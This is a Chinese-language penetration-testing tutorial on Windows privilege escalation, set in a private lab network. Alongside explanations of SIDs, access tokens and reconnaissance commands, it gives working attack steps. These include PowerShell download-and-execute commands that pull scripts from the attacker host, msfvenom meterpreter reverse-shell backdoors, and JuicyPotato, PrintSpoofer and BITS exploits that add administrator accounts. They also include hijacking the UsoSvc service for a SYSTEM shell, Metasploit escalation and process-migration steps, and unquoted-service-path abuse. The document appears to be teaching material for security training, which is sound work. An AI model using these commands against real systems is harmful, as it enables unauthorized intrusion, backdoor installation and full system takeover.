Windows提权

Windows提权

本章节环境:
12server7:    192.168.100.101
kali :        192.168.100.102
08serverR2-1: 192.168.100.103
win10:        192.168.100.104
win2003:      192.168.100.105

Windows基础知识

用户与用户组

在windows不用的用户有着不同的权限,权限主要包括有:完全控制、修改、读取和执行、列出文件夹内容、读取、写入。

而超级管理员和system用户权限最高。

内置用户:

  • Administrator,系统管理员账号,拥有完全控制权
  • guest,来宾账号,提供访问共享资源的网络用户使用,仅具有基本权限,默认被禁用
    在这里插入图片描述

Windows相关命令

查看本地用户

net user

查看用户详细信息

net user administrator

查看组信息

net localgroup

将用户加入管理员组
net localgroup administrators suqi /add

删除用户

net user suqi /del

用户也可以属于多个用户组,常见的用户组是 管理组(Administrators)、普通用户组(Users)、iis用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)

内置用户组

  • administrators,管理员组
  • users组,新建用户默认所属的组
  • guests组,权限最低
  • iis_users组, Internet 信息服务使用的内置组

用户信息的详细解析

whoami 命令

C:\Users\MSI-NB>whoami /?

WhoAmI 有三种使用方法:
语法 1:
WHOAMI [/UPN | /FQDN | /LOGONID]
语法 2:
WHOAMI { [/USER] [/GROUPS] [/CLAIMS] [/PRIV] } [/FO format] [/NH]
语法 3:
WHOAMI /ALL [/FO format] [/NH]

描述:
这个工具可以用来获取本地系统上当前用户(访问令牌)的用户名和组信息,以及相应的安全标识符(SID)、声明、
本地系统上当前用户的权限、登录标识符(登录 ID)。例如,谁是当前已登录的用户?
格式(域\用户名)。

参数列表:
/UPN 用用户主体 (User Principal) 格式显示用户名名称 (UPN)格式。
/FQDN 用完全合格的 (Fully Qualified) 格式显示用户名可分辨名称(FQDN) 格式。
/USER 显示当前用户的信息以及安全标识符 (SID)。
/GROUPS 显示当前用户的组成员信息、帐户类型和安全标识符 (SID) 和属性。
/CLAIMS 显示当前用户的声明,包括声明名称、标志、类型和值。
/PRIV 显示当前用户的安全特权。
/LOGONID 显示当前用户的登录 ID。
/ALL 显示当前用户名、所属的组以及安全等级、当前用户访问令牌的标识符(SID)、声明和权限。
/FO format 指定要显示的输出格式。有效值为 TABLE、LIST、CSV。列标题未使用 CSV格式显示。默认格式为 TABLE。
/NH 指定不应在输出中显示列标题。此参数仅对TABLE 和 CSV 格式有效。/? 显示此帮助消息。


Examples:
	WHOAMI
	WHOAMI /UPN
	WHOAMI /FQDN
	WHOAMI /LOGONID
	WHOAMI /USER
	WHOAMI /USER /FO LIST
	WHOAMI /USER /FO CSV
	WHOAMI /GROUPS
	WHOAMI /GROUPS /FO CSV /NH
	WHOAMI /CLAIMS
	WHOAMI /CLAIMS /FO LIST
	WHOAMI /PRIV
	WHOAMI /PRIV /FO TABLE
	WHOAMI /USER /GROUPS
	WHOAMI /USER /GROUPS /CLAIMS /PRIV
	WHOAMI /ALL
	WHOAMI /ALL /FO LIST
	WHOAMI /ALL /FO CSV /NH
	WHOAMI /?

whoami /all

用户信息
----------------
用户名 SID
======================= ===========================================
12server7\administrator S-1-5-21-3260979670-785508571-521063199-500
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============
==========================================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员 已知组 S-1-5-114 必需的组, 启用于默认, 启用的组
BUILTIN\Administrators 别名 S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\High Mandatory Level 标签 S-1-16-12288


特权信息
----------------------
特权名 描述 状态
=============================== ========================== ======
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeSecurityPrivilege 管理审核和安全日志 已禁用
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege 加载和卸载设备驱动程序 已禁用
SeSystemProfilePrivilege 配置文件系统性能 已禁用
SeSystemtimePrivilege 更改系统时间 已禁用
SeProfileSingleProcessPrivilege 配置文件单一进程 已禁用
SeIncreaseBasePriorityPrivilege 提高计划优先级 已禁用
SeCreatePagefilePrivilege 创建一个页面文件 已禁用
SeBackupPrivilege 备份文件和目录 已禁用
SeRestorePrivilege 还原文件和目录 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeDebugPrivilege 调试程序 已禁用
SeSystemEnvironmentPrivilege 修改固件环境值 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeManageVolumePrivilege 执行卷维护任务 已禁用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
SeCreateSymbolicLinkPrivilege 创建符号链接 已禁用

Windows的sid详解

Windows安全性要依赖于几个基本元素。:访问令牌、SID、安全描述符、访问控制列表、密码。

访问令牌:访问令牌在本质上定义了两 上“P”:Permissions(权限)和Privilege(特权)。两者区别并不明显。访问令牌的内容和功能由用户的SID、组的SID、登录 SID、用户特权、默认所有者、SID、默认组SID、默认DACL、起源进程、令牌类型、模拟级别、受限SID。

权限:一个用户进程在接触一个对象时,“安全性参考监视器”将访问令牌中的SID与“对象访问控制列表(ACL)”中的SID匹配。可能出现的两种情 况:1.如果没有匹配,就拒绝用户访问,这称为“隐式拒绝(implici deny)”;2.如果有一个区配,就将与ACK中的条目关联的权限授予给用户。这可能是Allow,也可能是一个Deny权限。在两个权限都直接指派给 对象的前提下,Deny权限将优先于Allow权限(在对待继承的权限时,采取的方式稍有不同)

安全标识符(Security Identifiers,SID),是标识用户、组和计算机账户的唯一的号码。在第一次创建该账户时,将给网络上的每一个账户发布一个唯一的 SID。Windows 2000 中的内部进程将引用账户的 SID 而不是账户的用户或组名。如果创建账户,再删除账户,然后使用相同的用户名创建另一个账户,则新账户将不具有授权给前一个账户的权力或权限,原因是该账户具有不同的 SID 号。安全标识符也被称为安全 ID 或 SID。

SID:一个典型的SID:S-1-5-21-1683771068-12213551888-624655398-1001.它遵循的模式是:S-R-IA-SA-SA-RID。下面是具体解释:

1、字母S指明这是一个SID标识符,它将数字标记为一个SID。

2、R代表Revision(修订),Windows生成的所有SID都使用修订级别 1.

3、IA代表颁发机构。在Widnwos中,几乎所有SID都指定NT机构作为颁发机构,它的ID编号为5.但是,代表已知组和账户的SID例外。

4、SA代表一个子机构。SA指定特殊的组或职能。例如、21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字(1683771068-12213551888-624655398)就是颁发SID的那个域或机器的SA。

5、RID是指相对ID(RID)、是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)

新的已知SID:在经典NT和windows2000中,Local System账户SID S-1-5-18为几乎所有服务提供了安全上下文,该账户具有很大的特权。Windows2003则引入了另外两个“已知SID”来为服务提供一个安全上下文、即LocalService和NetworkService。

部分已知SID及功能见Microsoft KB243330

已 知RID:指派给用户、计算机和组的RID从1000开始。500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和 组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到Builtin SID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户--特权要么是硬编码到操作系统中的,要么是在安全数据库中指派的。

详细https://docs.microsoft.com/zh-CN/windows/security/identity-protection/access-control/security-identifiers

作用:用户通过验证后,登陆进程会给用户一个访问令牌,该令牌相当于用户访问系统资源的票证,当用户试图访问系统资源时,将访问令牌提供给 Windows NT,然后 Windows NT 检查用户试图访问对象上的访问控制列表。如果用户被允许访问该对象,Windows NT将会分配给用户适当的访问权限。  访问令牌是用户在通过验证的时候有登陆进程所提供的,所以改变用户的权限需要注销后重新登陆,重新获取访问令牌。

Windows提权

提权是指把普通用户的权限进行提升,也叫特权提升,在渗透测试中,通过是各种漏洞提升webshell权限以夺得服务器权限。

webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限

webshell的默认权限 从图中可以看到webshell的权限是iis_users组
在这里插入图片描述

提权的常用方法

Windows提权的方法主要包括以下几种:

  1. 漏洞提权

    • 内核溢出漏洞提权:当目标系统没有及时安装补丁时,攻击者可以利用Windows系统内核溢出漏洞进行提权,获取system权限。具体步骤包括比对系统漏洞、找到对应漏洞的exp执行、添加管理员等。
    • 数据库提权
      • MySQL提权:包括udf提权、mof提权、启动项提权等方法。udf提权通过创建用户自定义函数,扩充mysql功能,执行系统命令;mof提权则利用Windows平台下特定文件的执行特性进行提权;启动项提权则是将脚本上传到系统启动目录,服务器重启时自动执行脚本以获取权限。
      • SQL Server提权:利用SQL Server执行系统命令的方式提权,如使用xp_cmdshell、SP_OACREATE等。
  2. Windows系统配置错误提权

    • 系统服务权限配置错误:利用Windows系统服务权限配置不当进行提权。
    • 不带引号的服务路径提权:当服务路径没有使用引号且包含空格时,可能存在路径解析漏洞,导致权限提升。
    • 注册键AlwaysInstallElevated:该键如果被错误配置,可能导致安装程序以高权限运行,进而被攻击者利用进行提权。
    • 本地dll劫持提权:利用Windows应用程序加载dll时的搜索顺序,将恶意dll放置到特定目录,从而实现dll劫持和权限提升。
  3. 第三方组件提权

    • G6FTP提权:利用FTP服务组件的漏洞或配置不当进行提权。
    • 其他第三方软件提权:如利用PCAnywhere、Serv-U FTP Server等第三方软件的漏洞或配置不当进行提权。
  4. 利用提权工具

    • Juicy Potato:一款Windows系统的本地提权工具,基于RottenPotatoNG进行扩展,利用DCOM(分布式组件对象模型)的漏洞进行提权。
  5. 绕过UAC(用户帐户控制):通过绕过Windows的用户帐户控制机制进行提权。

  6. 其他方法

    • 利用FTP软件(如Serv-U):通过修改Serv-U的配置文件(如ServUDaemon.ini),添加具有管理员权限的用户,进而提升权限。
    • 利用系统工具(如net.exe):通过上传恶意脚本或执行系统命令(如net user、net localgroup等)添加管理员用户或修改用户组。

提权的常用命令

systeminfo | findstr OS #获取系统版本信息

systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包

hostname #获取主机名称

whoami /all #获取当前用户的详细信息

whoami /priv #显示当前用户的安全特权

net start #查看服务

quser or query user #获取在线用户

netstat -ano  #查看所有的端口占用情况

netstat -ano | findstr 3389 #获取rdp连接来源IP

dir c:\programdata\ #分析安装杀软

wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁

“REG query HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp /v PortNumber”  #获取远程端口

tasklist /svc | find "TermService" #获取服务pid

netstat -ano |find "pid" # "tasklist /svc"命令用于显示运行在本地或远程计算机上的所有进程,以及这些进程的服务。"TermService"是远程桌面服务的服务名称。

Windows提权的常用命令可以归纳为以下几个主要方面:

  1. 系统信息查看

    • whoami:查看当前用户的权限和详细信息。
    • systeminfo:查看服务器的详细信息和相应的补丁信息,可帮助寻找可能的提权漏洞。
    • hostname:获取主机名称。
    • wmic os get caption:查看系统名。
    • wmic qfe get Description,HotFixID,InstalledOn:查看已安装的补丁信息。
    • wmic product get name,version:查看当前安装的程序信息。
  2. 用户与组管理

    • net user:查看系统上的用户列表。
    • net user 用户名 密码 /add:添加一个新用户到系统,如net user zylxyl 123456 /add
    • net localgroup administrators 用户名 /add:将用户添加到管理员组,如net localgroup administrators zylxyl /add
    • net user 用户名 /delete:删除一个用户,如net user zylxyl /delete
    • net user 用户名 新密码:修改用户密码,如net user zylxyl 12345678
  3. 网络连接与服务

    • ipconfig:查看网络配置,判断服务器是内网还是外网。
    • netstat -ano | findstr 3389:查看RDP(远程桌面协议)连接来源IP。
    • quserquery user:查看在线用户列表。
    • netstat -ano:查看所有网络连接和监听端口。
    • tasklist:查看当前运行的进程列表。
  4. 远程桌面与端口

    • tasklist /svc:结合svchost.exe进程查找远程桌面服务的PID。
    • REG query:查询注册表以获取远程桌面端口号或其他配置信息。
    • 使用注册表命令开启远程桌面服务(如开启被关闭的远程桌面服务)。
  5. 进程管理

    • taskkill /im 进程名.exetaskkill /pid 进程ID:结束特定进程。
  6. 防火墙与安全配置

    • netsh firewall show config:查看防火墙配置。

请注意,上述命令中的大多数需要以管理员权限运行才能生效。

Windows提权辅助脚本

检测系统补丁脚本

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

查看补丁

https://github.com/chroblert/WindowsVulnScan

windows 内核提权exp

https://github.com/SecWiki/windows-kernel-exploits

在线提权利用查询

https://lolbas-project.github.io/

提权辅助网页

hacking8.com

Windows漏洞提权流程

能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限

执行命令的时候 aspx->php和asp

如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令 这个时候可以使用aspx的后门查看是否有权限执行cmd命令

asp

在这里插入图片描述

aspx
在这里插入图片描述

很多时候如果我们的sb.asp或sb.aspx后门文件执行不了cmd命令时,我们可以上传一个cmd.exe文件到目标机的可执行目录中

补丁查询

hacking8在线查询补丁

1、导出系统信息

systeminfo > c:\1.txt   #将systeminfo信息导入到C盘的1.txt文件中

2、将文件导入到网站中查询

在这里插入图片描述

在这里插入图片描述

cmd /c 的详细说明

C 是 /Close的简写;/K 是 /Keep的简写。一个是命令运行之后关闭窗口,一个是保留窗口
https://jingyan.baidu.com/article/cd4c2979266c30756e6e6091.html
wesng查询补丁

https://github.com/bitsadmin/wesng

python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁

1、将目标系统的systeminfo信息导入出来(sys.txt)(或者复制粘贴到sys.txt中),在放到工具的文件目录中,如下

在这里插入图片描述

2、在该目录中输入cmd,输入指令开始检测补丁

python wes.py c:\sys.txt #检测补丁

在这里插入图片描述

在这里插入图片描述

WindowsVulnScan查询补丁

下载地址:https://github.com/chroblert/WindowsVulnScan
解压后,将ps文件运行,即可扫描本机的补丁,得到一个json文件。本地运行这个json文件(需要使用python),列出的即是可利用漏洞。

工具的原理是

  1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中

  2. 查找特定CVE网上是否有公开的EXP

  3. 利用powershell脚本收集主机的一些系统版本与KB信息

  4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE

参数说明

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help show this help message and exit
-u, --update-cve 更新CVEKB数据
-U, --update-exp 更新CVEEXP数据
-m MODE, --mode MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
-C, --check-EXP 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE ps1脚本运行后产生的.json文件

在这里插入图片描述

使用说明

1.首先在cmd中运行powershell脚本

powershell

切换到工具所在目录,运行脚本

.\KBCollect.ps1

可能会出现以下错误,如下

在这里插入图片描述

输入以下指令解决,然后再重新运行脚本

Set-ExecutionPolicy -Scope CurrentUser
remotesigned

KBCollect.ps 会收集一些信息 ,运行后在目录下生成kb.json

kb.json文件内容如下

在这里插入图片描述

  1. 将运行后产生的 KB.json 文件移动到 cve-check.py 所在的目录
  2. 安装一些python3模块
python3 -m pip install requirements.txt
  1. 运行 cve-check.py -u 创建CVEKB数据库
  2. 运行 cve-check.py -U 更新CVEKB数据库中的 hasPOC 字段
此处可以使用-m选择更新模式。
-m All:更新所有
-m Empty:只更新hasPOC字段为空的
-m Error:只更新hasPOC字段为Error的
  1. 运行 cve-check.py -C -f KB.json 查看具有公开EXP的CVE,如下:
python cve-check.py -C -f KB.json

在这里插入图片描述

在webshell里执行

1.需要把源码进行修改 把Out-file的文件写在可写的目录上

在这里插入图片描述

webshell中执行powershell查询补丁,代码如下。

"Powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.102/KBCollect.ps1')"  #192.168.100.182是攻击机ip地址

在这里插入图片描述

执行后会在C:\Windows\temp\生成kb.json文件,如下

在这里插入图片描述

把kb.json copy下载到本地后进行检测

python cve-check.py -C -f KB.json

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注:用Windows系统执行时可能会失败,放到kali中成功

在这里插入图片描述

查询可写目录或文件

在确定可以执行cmd命令时,有些服务器会对目录进行权限设置,导致iis_user用户组没有权限对常见的目录进行写入和读取,这时可以用扫描可写目录脚本对目录进行遍历扫描,得到可写目录 上传或下载 提权exp 或替换文件 进行利用。

常见的脚本有==wt.asp== ,红色表示文件可替换 蓝色表示目录可写

在这里插入图片描述

net版本的wt.aspx 因为net的权限比asp高, 而且能访问注册表, 所以除了常规扫描目录之外,还会读取注册表软件目录进行目录扫描

在这里插入图片描述

最好的话两个都试一下,看看哪些目录是可以利用的

Windows常用提权方法

通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。

1、CVE-2016-3225(MS16-075)提权
1.漏洞描述

当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。

若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。

注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户

2.影响版本

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075

3.漏洞复现

利用文件

GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019

下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录

输入以下代码可查看参数说明

/c c:\Windows\debug\WIA\PrintSpoofer64.exe  -h

在这里插入图片描述

查看权限,可以看到是系统权限了,如下

/c c:\Windows\debug\WIA\PrintSpoofer64.exe  -i -c whoami

在这里插入图片描述

新建账号添加到管理员组

/c c:\windows\debug\WIA\JuicyPotato_x64.exe -a "net user Zyw0o 0819.com /add && net localgroup administrators Zyw0o /add"

在这里插入图片描述

4.漏洞修复

升级版本

2、CVE-2014-4113 (MS14-058)提权
1.漏洞描述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。

2.影响版本

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本

3.漏洞复现

上传编译好的提权exp 执行即可获取系统权限

在这里插入图片描述

4.漏洞修复

升级

3、CVE-2020-0787提权

1.漏洞描述

当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。

2.影响版本

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787

3.漏洞复现

下载地址 https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

为了利用此漏洞,攻击者首先必须登录系统

建立普通用户 net user moonsec 123456 /add , 本地切换该用户登录

将该EXP上传到主机中

执行c:\windows\debug\WIA\BitsArbitraryFileMoveExploit.exe

在这里插入图片描述

会出现一个新的cmd弹窗,在该弹窗中显示该普通用户moonsec已经是系统权限了

再将该用户设置为管理员账户

net localgroup administrators moonsec /add

在这里插入图片描述

注:该exp在webshell里是用不了的,因为该EXP需要弹窗,弹一个cmd

4.修复建议

升级

4、使用metasploit提权

1.描述

metasplit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

2.提权过程

2.1在kali上生成反向连接后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.102 lport=8888 -f exe >muma.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.102 lport=8888 -f dll > libcurl_x86.dll

2.2 把生成的后门文件上传到目标主机的可执行目录

在这里插入图片描述

2.3 在kali上 使用 msfconsole 命令 启动metasploit

2.4监听ip和端口 这里的ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0 允许任何主机连接入来,但是存在风险

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.102
set lport 8888
exploit

2.5在webshell里面执行后门程序(相当于目标主机双击运行了s.exe)

在这里插入图片描述

2.6获取meterpreter

在这里插入图片描述

获取系统信息和当前账号,发现权限较低,需要进行提权。

2.7 特权提升

可以使用常规的提权exp进行测试

windows 常见的提权模块

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏洞

2.8 msf的基础命令

ps          #列出进程
background  #把session放置后台   重新进去sessions 1
sessions    #查看会话
back        #返回主界面
shell       #得到终端
search      #搜索模块
show        #列模块
info        #查看模块信息
use         #使用模块

2.9 查询补丁

run post/windows/gather/enum_patches

在这里插入图片描述

2.10 使用模块进行提权

搜索模块 search ms16_075

在这里插入图片描述

查看模块信息:

info exploit/windows/local/ms16_075_reflection_juicy

使用该模块:

use exploit/windows/local/ms16_075_reflection_juicy  #该模块很可以
show options 查看需要设置什么参数
set SESSION 1 设置SESSION 为1
exploit 运行

在这里插入图片描述

在这里插入图片描述

可以看到普通iis用户已经成功提权到系统权限。

2.11 维持权限(也可以提权)

  • 功能migrate命令允许你将Meterpreter会话从一个进程迁移到另一个进程。这在渗透测试中非常有用,因为某些进程可能具有更高的权限或更稳定的环境,从而使攻击者能够更好地执行他们的任务。
  • 应用场景:当你发现当前Meterpreter会话所在的进程可能不稳定、权限不足或即将被关闭时,可以使用migrate命令将其迁移到另一个更合适的进程中。

migrate命令用法

  • 命令格式

    migrate [PID]
    
    • [PID] 是目标进程的进程ID(Process ID),即你想要将Meterpreter会话迁移到的进程的ID。
  • 示例migrate 1384 将当前Meterpreter会话迁移到PID为1384的进程上。

migrate命令注意事项

  • 在执行migrate命令之前,最好先使用其他Meterpreter命令(如ps)来查看目标主机上的进程列表,以确定哪些进程是可用的、具有更高权限的,并且适合迁移。
  • 迁移进程可能会受到目标主机的安全策略、防火墙规则或其他安全机制的限制。因此,在尝试迁移之前,最好先对目标主机进行充分的信息收集和分析。

ps 列出进程号

migrate 2744

在这里插入图片描述

3.使用模块本地提权审查

background 
use post/multi/recon/local_exploit_suggester#用于在已经获得Meterpreter会话的系统上执行本地漏洞扫描,并建议可能利用的漏洞。这个模块会检查目标系统上安装的软件和版本,然后查找是否存在已知的安全漏洞,并给出相应的利用模块建议。
set session 1
exploit

或者在meterpreter使用 run post/multi/recon/local_exploit_suggester 执行

在这里插入图片描述

5、Windows系统配置错误提权
5.1 系统服务权限配置错误

1.描述

Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持

2.漏洞介绍

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

3.复现

5.1.1 PowerUp脚本(长期未更新)

1.Powershell中的PowerUp脚本 https://github.com/HarmJ0y/PowerUp 加载模块并执行 列出可能存在问题的所有服务 分析能否利用

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.102/PowerUp.ps1'); Invoke-AllChecks"

在这里插入图片描述

在这里插入图片描述

5.1.2 PrivescCheck脚本

2.PrivescCheck这个Powershell比PowerUp显示的内容更加详细,PowerUp长期没更新了,建议用这个工具对配置进行详细错误。

git clone https://github.com/itm4n/PrivescCheck.git

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.102/PrivescCheck.ps1'); Invoke-PrivescCheck"

在这里插入图片描述

在这里插入图片描述

NT AUTHORITY\Authenticated Users 是一个特殊的用户组,在Windows操作系统中表示所有已经通过身份验证(即登录)的用户。这个组不是一个真实的、可以添加或删除成员的组,而是一个动态组,它自动包含当前登录到系统的所有用户。

当你在配置文件系统或注册表权限时,可以使用这个组来给予所有已验证的用户特定的访问权限。例如,如果你希望所有登录到计算机的用户都能读取某个文件夹的内容,你可以将读取权限授予 NT AUTHORITY\Authenticated Users

需要注意的是,NT AUTHORITY\Authenticated Users不包括匿名用户或未经验证的用户。只有那些已经通过身份验证并登录到系统的用户才会被视为该组的一部分。

在配置权限时,谨慎使用 NT AUTHORITY\Authenticated Users,以确保不会无意中授予过多的权限,从而可能带来安全风险。

5.1.3 usosvc服务

NT AUTHORITY\Authenticated Users 普通用户也能设置文件

普通用户可以对usosvc服务进行设置 muma.exe是msf的后门程序

sc stop UsoSvc
sc config usosvc binPath= "C:\inetpub\wwwroot\muma.exe"  #注意=后面有个空格
sc start UsoSvc

首先kali开启监听,然后在webshell中依次输入上面代码

sc start UsoSvc 命令执行之后,就会反弹shell了,如下

在这里插入图片描述

可以看到权限是system,但是一会儿会自动断开,所以还需要在反弹shell之前做自动进程迁移

set AutoRunScript migrate -f

sc 是 Windows 系统中的一个命令行工具,用于与服务控制管理器(Service Control Manager)进行交互。通过 sc 命令,你可以查询、启动、停止、删除或配置 Windows 服务。

以下是一些 sc 命令的常见用法:

  1. 查询服务状态

    sc query <服务名>
    

    例如,要查询 spooler 服务的状态,可以运行:

    sc query spooler
    
  2. 启动服务

    sc start <服务名>
    

    例如,要启动 spooler 服务,可以运行:

    sc start spooler
    
  3. 停止服务

    sc stop <服务名>
    

    例如,要停止 spooler 服务,可以运行:

    sc stop spooler
    
  4. 创建服务

    创建服务需要指定一系列参数,如服务的二进制路径、显示名称、启动类型等。例如:

    sc create <新服务名> binPath= "<二进制路径>" DisplayName= "<显示名称>" start= <启动类型>
    

    其中 <启动类型> 可以是 auto(自动)、demand(手动)或 disabled(禁用)。

  5. 删除服务

    sc delete <服务名>
    

    例如,要删除名为 MyNewService 的服务,可以运行:

    sc delete MyNewService
    
  6. 配置服务的其他参数

    sc 命令还支持配置服务的许多其他参数,如服务的描述、依赖关系等。这通常需要使用 sc config 命令并指定相应的参数。

请注意,执行某些 sc 命令(特别是启动、停止或删除服务)可能需要管理员权限。如果你没有足够的权限,可能需要以管理员身份运行命令提示符或 PowerShell。

此外,sc 命令还有许多其他功能和选项。你可以通过运行 sc /? 来查看完整的命令列表和选项说明。

5.1.4 Metasploit中的攻击模块
exploit/windows/local/service_permissions

service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一个新的服务,如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题并对其进行劫持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的

首先metasploit生成后门文件上传到目标机器后执行

使用该模块

background
exploit/windows/local/service_permissions
set session 1
run

在这里插入图片描述

拿到一个session2,如下

在这里插入图片描述

已经拿到了system权限

在这里插入图片描述

5.2 不带引号的服务路径提权
1.描述

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

2.原理

恶意文件以服务的权限(通常是系统权限)执行,从而允许攻击者执行任意代码,提升权限

将下面代码编译成exe文件,然后改名为Program.exe上传到c盘根目录

using System;
using System.Collections.Generic;
using System.Text;

namespace moon
{
	class Program
	{
		static void Main(string[] args)
		{
			Console.WriteLine("欢迎来到暗月渗透测试培训");
		}
	}
}

服务器是这样寻找Rar.exe文件:

(1)没有双引号的时候会执行Program.exe文件

C:\Program Files\WinRAR\Rar.exe

在这里插入图片描述

(2)有双引号的时候会正常执行目标文件

"C:\Program Files\WinRAR\Rar.exe"

在这里插入图片描述

因为没有双引号的时候,windows会把空格前面的(C:\Program)当做exe文件执行

3.漏洞复现

1、使用PowerUp.ps1进行检测,会遍历出带有空格的文件路径

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.100.102/PowerUp.ps1'); Invoke-AllChecks"

或者使用命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

在这里插入图片描述

